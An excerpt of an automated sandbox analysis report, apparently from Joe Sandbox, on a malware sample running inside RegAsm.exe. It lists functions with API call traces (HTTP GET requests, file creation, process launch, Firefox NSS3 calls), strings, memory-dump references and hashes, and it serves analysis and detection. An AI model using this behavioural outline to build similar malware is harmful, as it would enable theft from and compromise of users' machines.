Part of subcall function 00405237: InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
Part of subcall function 00405237: StrCmpCA.SHLWAPI(?), ref: 004052C1
Part of subcall function 00405237: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
Part of subcall function 00405237: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
Part of subcall function 00405237: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
Part of subcall function 00405237: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A56), ref: 00412460

_memset.LIBCMT ref: 00412CA8
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00436708), ref: 00412CFA

Strings

.exe, xrefs: 00412C05

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTime_memsetlstrlen
String ID: .exe
API String ID: 2831197775-4119554291
Opcode ID: 6d59370450b68c5588a5491b7917b05f2d9be07f111fede00a4eb3eb3c6503eb
Instruction ID: 88d398ddf995f26be012042af52e313b9aca7b7c3a701b446fc0f5904181aba7
Opcode Fuzzy Hash: 6d59370450b68c5588a5491b7917b05f2d9be07f111fede00a4eb3eb3c6503eb
Instruction Fuzzy Hash: CD416272A00109BBDF11FBA6ED43ADE7775AF44308F51003AF900B7191D6B86E898AD9

Function 6C2B4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C2B4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C2B4DE6

Strings

%d.%d, xrefs: 6C2B4DDE

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 0a8c193d3264b327ea852279610dd8fe5a0225bc4f5bc2d69fb1fa65f024bf16
Instruction ID: dcd321569a2d49615998f1752c96954f6de39d8f3f72d0f94fe5749349165a42
Opcode Fuzzy Hash: 0a8c193d3264b327ea852279610dd8fe5a0225bc4f5bc2d69fb1fa65f024bf16
Instruction Fuzzy Hash: 8631E7B6D0021E6BEB109B609C41BFF7768DF4134CF040429ED15AB681EB309A05CBA2

Function 0040F093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F0D6
_memmove.LIBCMT ref: 0040F104

Strings

string too long, xrefs: 0040F0D1

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: 526ee4de964fb5d589eb1952b65eb729e1d0c4420e9104a9b73aaf5da7a4f5db
Instruction ID: 04e8fe09cc208830721d2fa856964c80f4976a83ce7786001175bb2c16001aed
Opcode Fuzzy Hash: 526ee4de964fb5d589eb1952b65eb729e1d0c4420e9104a9b73aaf5da7a4f5db
Instruction Fuzzy Hash: 4411E371300200AFDB24DE2DD840929B36AFF81314714013FF901ABBC2C779EC59C29A

Function 00413408 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041342E
strtok_s.MSVCRT ref: 00413489

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

Strings

kwA, xrefs: 00413420, 00413423

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: kwA
API String ID: 348468850-3664143332
Opcode ID: 9d10b29143e406cac146972d54869ef80d4cc356ae14c0b3f7a7ce2584d81b1c
Instruction ID: c63ec6ea2d75102e8c7550abb2625962a9b830d15b1fb37340798ba1fc4ecbcb
Opcode Fuzzy Hash: 9d10b29143e406cac146972d54869ef80d4cc356ae14c0b3f7a7ce2584d81b1c
Instruction Fuzzy Hash: 44115B72904119BBCB01DF95D981EDAB7B8EB18305F104056ED09E7291E778EE898BA4

Function 00411ECF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00411EF9

Strings

image/jpeg, xrefs: 00411F21

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 4118f75b9caf0c04e5c39615f1a97a8698a4536d0e361e39009bfdf822943e34
Instruction ID: 5b3484614e0f57ae27ea9285cdb582941120b57c2dbe21fee884a8722dee9e85
Opcode Fuzzy Hash: 4118f75b9caf0c04e5c39615f1a97a8698a4536d0e361e39009bfdf822943e34
Instruction Fuzzy Hash: BE11A172910108FFCB10DFA5CD848DEBF7AFE05361B21026BEA11A32A0D7769E81DA54

Function 6C1A0480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000080,?,?,?,?,?,?,?,?,?,?,?,?,6C1A041E,?,6C1A03C0), ref: 6C1A04D8
InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C1A041E), ref: 6C1A04E3

Strings

g/, xrefs: 6C1A0490

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc
String ID: g/
API String ID: 1952960883-2179982415
Opcode ID: d90a3f98d629d43e769abb62a84a3f6be13771c91f47e297dac23b1c89f5311f
Instruction ID: f7a28a55c9acbf8298aa1631657b3b791968a0414cee93d1e03d0df488a64b82
Opcode Fuzzy Hash: d90a3f98d629d43e769abb62a84a3f6be13771c91f47e297dac23b1c89f5311f
Instruction Fuzzy Hash: 7921F970D047848BE7409F3D88413E5B7F4BF99318F049659DD4986223FB7196D9C781

Function 0040F128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC2A
Part of subcall function 0042EC15: __CxxThrowException@8.LIBCMT ref: 0042EC3F
Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC50

Part of subcall function 0040F238: std::_Xinvalid_argument.LIBCPMT ref: 0040F242

_memmove.LIBCMT ref: 0040F190

Strings

invalid string position, xrefs: 0040F139

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: d4f6ee028e61c2b85391c548165db34415f6c2233bb2bffdfead38ae00e1ba41
Instruction ID: 8aa0a51fd2354cbf642841cb34f3a852651f4382fdb760275bc092a1937eab51
Opcode Fuzzy Hash: d4f6ee028e61c2b85391c548165db34415f6c2233bb2bffdfead38ae00e1ba41
Instruction Fuzzy Hash: 5711E131304210EBDB24DE6DD8809597366AF45324744063BF815EFAC2C33CED49879A

Function 6C191C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6C19759E,?,?), ref: 6C191CB4
free.MOZGLUE(?,?,?,?,?,?,6C19759E,?,?,?,?,?,?,?,?,?), ref: 6C191CE9

Strings

g/, xrefs: 6C191C70

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_free
String ID: g/
API String ID: 876075630-2179982415
Opcode ID: 312166f593520d9774d5a8976ea721e21be19722ef21330bf9777a197f36ee23
Instruction ID: 2336fc60881afc65078f78fabe7ec26119989a4aa6a26e6d82d4c09019d16199
Opcode Fuzzy Hash: 312166f593520d9774d5a8976ea721e21be19722ef21330bf9777a197f36ee23
Instruction Fuzzy Hash: 9511BF31900B058BC310CF29C8406A6B7F4BF9A718F10461DE99A97A40EB31F5A8CB81

Function 0040F34D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F35C

Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC2A
Part of subcall function 0042EC15: __CxxThrowException@8.LIBCMT ref: 0042EC3F
Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC50

memmove.MSVCRT(0040EEBE,0040EEBE,C6C68B00,0040EEBE,0040EEBE,0040F15F,?,?,?,0040F1DF,?,?,?,75920440,?,-00000001), ref: 0040F392

Strings

invalid string position, xrefs: 0040F357

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: a848fdcfe604272a287739ae8645811b571806346a8769f4f44a2cabaef798b7
Instruction ID: 3887684d3f3a11409fee2576fb98b4d31b326a96551fc85137108b6ee7b5612c
Opcode Fuzzy Hash: a848fdcfe604272a287739ae8645811b571806346a8769f4f44a2cabaef798b7
Instruction Fuzzy Hash: 2C01A2713007418BD7348E7989C491FB2A2E785B20730493ED982D7B85DB7CE84E8398

Function 0042819D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strcpy_s.MSVCRT ref: 004281AE
__invoke_watson.LIBCMT ref: 00428202

Part of subcall function 0042803D: _strcat_s.LIBCMT ref: 0042805C

Strings

,NC, xrefs: 004281ED

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_sstrcpy_s
String ID: ,NC
API String ID: 1132195725-1329140791
Opcode ID: 731b6ac6b642e3e8e5147aea8b100b6241764734f43c48f2503a638a59afb5d8
Instruction ID: f771fb7e58f133a83ad7a91f426c7ce09fda6f0a996d4a40dae0fcadaf62f804
Opcode Fuzzy Hash: 731b6ac6b642e3e8e5147aea8b100b6241764734f43c48f2503a638a59afb5d8
Instruction Fuzzy Hash: DBF046726013287BCB116F90DC02EEB3F5DAF00390F84806BFD084A052DB36AD24C798

Function 6C2D4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8-l,00000000,00000000,?,?,6C2D3827,?,00000000), ref: 6C2D4D0A

Part of subcall function 6C2C0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C2C08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C2D4D22

Part of subcall function 6C2BFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C261A3E,00000048,00000054), ref: 6C2BFD56

Strings

'8-l, xrefs: 6C2D4D07

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8-l
API String ID: 1521942269-1391954735
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 577aa6b23d6d86c4e33107249efea08472ca44adb37fb6ae62ec411faa426944
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 54F0967A60122A67EB504F6AAC80B4336DC9B516BEF564371FD2CCB781E631EC00C6E1

Function 6C1894D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C1894EE
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C189508

Strings

g/, xrefs: 6C1894DC

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID: g/
API String ID: 2168557111-2179982415
Opcode ID: 347f51f8afa4719eae0a05bf6f957e49f47bf12a492d920ec96eac01e35af278
Instruction ID: d16ff5d6c1c83306ac8d9d6c29dcb0e69a269bb31eb21f6fadae3a0a900b1119
Opcode Fuzzy Hash: 347f51f8afa4719eae0a05bf6f957e49f47bf12a492d920ec96eac01e35af278
Instruction Fuzzy Hash: 18F0E231A0010CAFCB10AF64DC49EAFBF78EF42258F408029F8095B341D731AA18CBE1

Function 0041F389 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041F3BE
DName::DName.LIBCMT ref: 0041F3CA

Strings

{flat}, xrefs: 0041F3B9

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction ID: 2c0415815a0a7c74926322da22f24c5bee031a5815a73f477053bbe1f8b1cde0
Opcode Fuzzy Hash: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction Fuzzy Hash: 0CF08531240208AFCB10EF59D415BE83BA0AB85756F08808AE95D0F396D634E882CB99

Function 0040141E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401436
GlobalMemoryStatusEx.KERNEL32(?), ref: 00401449

Strings

@, xrefs: 00401442

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus_memset
String ID: @
API String ID: 587104284-2766056989
Opcode ID: a86c8d25389ee0d43c024977cfcbb5dbd13fb3cddd9227d59882f314cfa9f3e1
Instruction ID: 353ba50a468fe22d2a9c3629fefe65c16587761d0a3a195498787956e3287aa6
Opcode Fuzzy Hash: a86c8d25389ee0d43c024977cfcbb5dbd13fb3cddd9227d59882f314cfa9f3e1
Instruction Fuzzy Hash: C4E0B8F0A002089BDB14DFA5E956F5DB7F89B04744F5000299A05E7181D674BB098659

Function 6C2C0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C2C0DF5
TlsGetValue.KERNEL32 ref: 6C2C0E2D
